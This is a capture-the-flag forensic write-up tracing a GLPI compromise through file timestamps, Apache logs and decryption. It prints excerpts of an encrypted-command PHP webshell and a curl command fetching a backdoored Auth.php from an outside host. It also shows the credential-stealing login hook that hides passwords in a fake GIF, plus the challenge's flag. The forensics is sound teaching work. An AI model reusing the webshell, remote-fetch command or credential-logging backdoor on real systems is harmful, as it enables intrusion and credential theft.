This repository contains the forensic analysis and solution for the Hack The Box - Operation Pensieve Breach - 2 style incident.
The investigation revolves around a compromised GLPI instance where the director of Hogwarts (Albus Dumbledore) had his account compromised after logging in from:
192.168.56.230pensive.hogwarts.localOur goals:
Build the final flag in the format:
Hero{<first_path>;<second_path>;<value>}
We start in the extracted pensieve_var directory (simulating /var on the server).
We list files changed in the relevant compromise window:
cd ~/pensieve2/var
find . -type f -newermt '2025-11-22 22:45' ! -newermt '2025-11-22 23:59' -printf '%TY-%Tm-%Td %TH:%TM:%TS %s %p\n' | sort
Notable entries:
./www/glpi/files/_tmp/setup.php — created at 2025-11-22 23:03:50../www/glpi/src/Auth.php — modified at 2025-11-22 23:10:03../www/glpi/pics/screenshots/example.gif — size 154 bytes, timestamp 2025-11-22 23:11:56.These are strong candidates for malicious activity.
setup.php in GLPI tempList the temp directory:
ls -l www/glpi/files/_tmp
We see:
-rwxrwxr-x 1 vboxuser vboxuser 3550 Nov 22 23:03 setup.php
Inspect it:
sed -n '1,200p' www/glpi/files/_tmp/setup.php
Key parts (trimmed):
/****************************************************************
* Webshell Usage:
* ?passwd=P@ssw0rd123 --> Print glpi passwords in use
* ?passwd=P@ssw0rd123&_hidden_cmd=whoami --> Execute whoami
****************************************************************/
...
if (isset($_GET["submit_form"]) && $_GET["submit_form"] === "2b01d9d592da55cca64dd7804bc295e6e03b5df4") {
...
if (file_exists($to_include)) {
include_once($to_include);
try {
Html::header("GLPI Password");
$key = "14ac4b90bd3f880e741a85b0c6254d1f";
$iv = "5cf025270d8f74c9";
if (isset($_GET["save_result"]) && !empty($_GET["save_result"])) {
$encrypted = base64_decode($_GET['save_result']);
$decrypted = openssl_decrypt($encrypted, "AES-256-CBC", $key, OPENSSL_RAW_DATA, $iv);
exec($decrypted, $output, $retval);
echo "<code>";
foreach ($output as $line) {
echo htmlentities($line) . "</br>";
}
echo "</code></br>";
} else {
dump_password();
}
front/plugin.php using a magic submit_form value.save_result is present:
exec().This gives the attacker full remote code execution (RCE) via HTTP.
We search for the webshell being hit:
grep -n "setup.php" log/apache2/glpi_access.log log/apache2/glpi_ssl_access.log
grep -n "save_result=" log/apache2/glpi_access.log log/apache2/glpi_ssl_access.log
We find (cleaned up):
192.168.56.200 - - [22/Nov/2025:23:03:49 +0000] "POST /ajax/fileupload.php?_method=DELETE&_uploader_picture%5B%5D=setup.php HTTP/1.1" 200 ...
192.168.56.1 - - [22/Nov/2025:23:09:36 +0000] "GET /front/plugin.php?submit_form=2b01d9d592da55cca64dd7804bc295e6e03b5df4&save_result=oGAHt/Kk1OKeXWxy7iXUfw== ...
192.168.56.1 - - [22/Nov/2025:23:10:02 +0000] "GET /front/plugin.php?submit_form=2b01d9d592da55cca64dd7804bc295e6e03b5df4&save_result=4xRW8Us32tnzow8KiLOwuASwWypc4XE2LBDXaWQLmATmYOlVNcpYABK5gfF5xiwvLu1s6UpjuW2aJk94xSXQ1AaVGQFwdNpNR/7wqKV6JAE= ...
192.168.56.1 - - [22/Nov/2025:23:10:51 +0000] "GET /front/plugin.php?submit_form=2b01d9d592da55cca64dd7804bc295e6e03b5df4&save_result=86AyGErKuj5UoZE9eHtlIg== ...
So the attacker is:
setup.php (via file upload endpoints).plugin.php with the special submit_form and encrypted save_result commands.Using the key and IV from setup.php:
php -r '
$key = "14ac4b90bd3f880e741a85b0c6254d1f";
$iv = "5cf025270d8f74c9";
$vals = [
"oGAHt/Kk1OKeXWxy7iXUfw==",
"4xRW8Us32tnzow8KiLOwuASwWypc4XE2LBDXaWQLmATmYOlVNcpYABK5gfF5xiwvLu1s6UpjuW2aJk94xSXQ1AaVGQFwdNpNR/7wqKV6JAE=",
"86AyGErKuj5UoZE9eHtlIg==",
];
foreach ($vals as $b64) {
$enc = base64_decode($b64);
$dec = openssl_decrypt($enc, "AES-256-CBC", $key, OPENSSL_RAW_DATA, $iv);
echo $b64, " -> ", $dec, PHP_EOL, "-------------------------", PHP_EOL;
}
'
Output:
oGAHt/Kk1OKeXWxy7iXUfw== ->
-------------------------
4xRW8Us32tnzow8KiLOwuASwWypc4XE2LBDXaWQLmATmYOlVNcpYABK5gfF5xiwvLu1s6UpjuW2aJk94xSXQ1AaVGQFwdNpNR/7wqKV6JAE= -> curl https://xthaz.fr/glpi_auth_backdoored.php > /var/www/glpi/src/Auth.php
-------------------------
86AyGErKuj5UoZE9eHtlIg== -> whoami
-------------------------
The critical command:
curl https://xthaz.fr/glpi_auth_backdoored.php > /var/www/glpi/src/Auth.php
So the attacker downloads a backdoored authentication file and overwrites the original GLPI Auth.php.
We also saw this file’s timestamp in the earlier find output:
2025-11-22 23:10:03 ... ./www/glpi/src/Auth.php
which matches the timing of that malicious request.
Auth.phpSince Auth.php was overwritten, we inspect it for suspicious modifications:
grep -niE 'file_put_contents|fopen|fwrite|/var/' www/glpi/src/Auth.php
We get a hit near line 975. Dump around that region:
sed -n '940,990p' www/glpi/src/Auth.php
We find this malicious block inside the login logic:
if (
empty($login_auth)
|| $this->user->fields["authtype"] == $this::CAS
|| $this->user->fields["authtype"] == $this::EXTERNAL
|| $this->user->fields["authtype"] == $this::LDAP
) {
if (Toolbox::canUseLdap()) {
$key = "ec6c34408ae2523fe664bd1ccedc9c28";
$iv = "ecb2b0364290d1df";
$data = json_encode([
'login' => $login_name,
'password' => $login_password,
]);
$encrypted = openssl_encrypt($data, 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv);
$encoded = base64_encode($encrypted) . ";";
$file = "/var/www/glpi/pics/screenshots/example.gif";
file_put_contents($file, $encoded, FILE_APPEND);
AuthLDAP::tryLdapAuth(
$this,
$login_name,
$login_password,
$this->user->fields["auths_id"]
);
On each LDAP/EXTERNAL/CAS login attempt, it:
login_name and login_password into a JSON object.;.Appends this data into:
/var/www/glpi/pics/screenshots/example.gif
This is a credential stealer hidden in the GLPI authentication flow.
This file –
/var/www/glpi/src/Auth.php– is the one that led to the compromise
because it silently logged Albus’ credentials when he logged in.
example.gifList the screenshots:
ls -l www/glpi/pics/screenshots
Notable:
-rwxrwxr-x 1 vboxuser vboxuser 154 Nov 22 23:11 example.gif
All the other images are large PNG/GIF files in the hundreds of KB range. example.gif is tiny (154 bytes), which is extremely suspicious.
We then extract Base64 chunks from it:
strings -n 20 www/glpi/pics/screenshots/example.gif | tr ';' '
' | grep -E '^[A-Za-z0-9+/=]{20,}$' | sed '/^$/d' | nl -ba
Output:
1 mbzTGN3mBbqOHr/h3/c2uebIG7VPft37SXR+hurPIglCYfLeFqIzSM/R9lLhKp5K
2 U+IiFdoC53E4vV+9aTeVHbsp/0YRYqDqQzvx0gBGpzIPAhEYlgd5SjpPPQOLgmmoCbWKLREBHparNdsK2BQ3tQ==
As per the challenge description, this file stores two pieces of information.
Each line is one encrypted JSON blob created by the malicious Auth.php.
We use the second AES key/IV from the backdoored Auth.php:
php -r '
$key = "ec6c34408ae2523fe664bd1ccedc9c28";
$iv = "ecb2b0364290d1df";
$blob = "U+IiFdoC53E4vV+9aTeVHbsp/0YRYqDqQzvx0gBGpzIPAhEYlgd5SjpPPQOLgmmoCbWKLREBHparNdsK2BQ3tQ==";
$enc = base64_decode($blob);
$dec = openssl_decrypt($enc, "AES-256-CBC", $key, OPENSSL_RAW_DATA, $iv);
echo $dec, PHP_EOL;
'
Output:
{"login":"albus.dumbledore","password":"FawkesPhoenix#9!"}
So the second piece of information is:
{
"login": "albus.dumbledore",
"password": "FawkesPhoenix#9!"
}
Within this JSON:
"login" : "albus.dumbledore""password" : "FawkesPhoenix#9!"The challenge asks:
The 3rd flag part is the value of the second field of the second piece of information.
That is:
FawkesPhoenix#9!
The second file used by the attacker to retrieve Albus’ account is
/var/www/glpi/pics/screenshots/example.gif.
setup.php into GLPI’s temp files and triggers it through front/plugin.php with a magic submit_form value.That webshell decrypts the save_result parameter and executes it. One of the attacker’s commands is:
curl https://xthaz.fr/glpi_auth_backdoored.php > /var/www/glpi/src/Auth.php
This replaces the legitimate GLPI authentication file (Auth.php) with a backdoored version that logs any LDAP-style login credentials to:
/var/www/glpi/pics/screenshots/example.gif
When Albus Dumbledore later logs in from pensive.hogwarts.local (192.168.56.230), his credentials are stored in example.gif as:
{"login":"albus.dumbledore","password":"FawkesPhoenix#9!"}
example.gif, decrypt the Base64 blobs, and recover his password.Per the challenge questions:
Absolute path of the file which led to the compromise
→ the backdoored authentication file:
/var/www/glpi/src/Auth.php
Absolute path of the file used by the attacker to retrieve Albus’ account
→ the credential stash:
/var/www/glpi/pics/screenshots/example.gif
The second field of the second piece of information stored in that file
→ "password" value from the second entry:
FawkesPhoenix#9!
Hero{/var/www/glpi/src/Auth.php;/var/www/glpi/pics/screenshots/example.gif;FawkesPhoenix#9!}
www/glpi/files/_tmp/setup.php used through front/plugin.php./var/www/glpi/src/Auth.php./var/www/glpi/pics/screenshots/example.gif.albus.dumbledore with password FawkesPhoenix#9!.This completes the investigation for Operation Pensieve Breach – 2.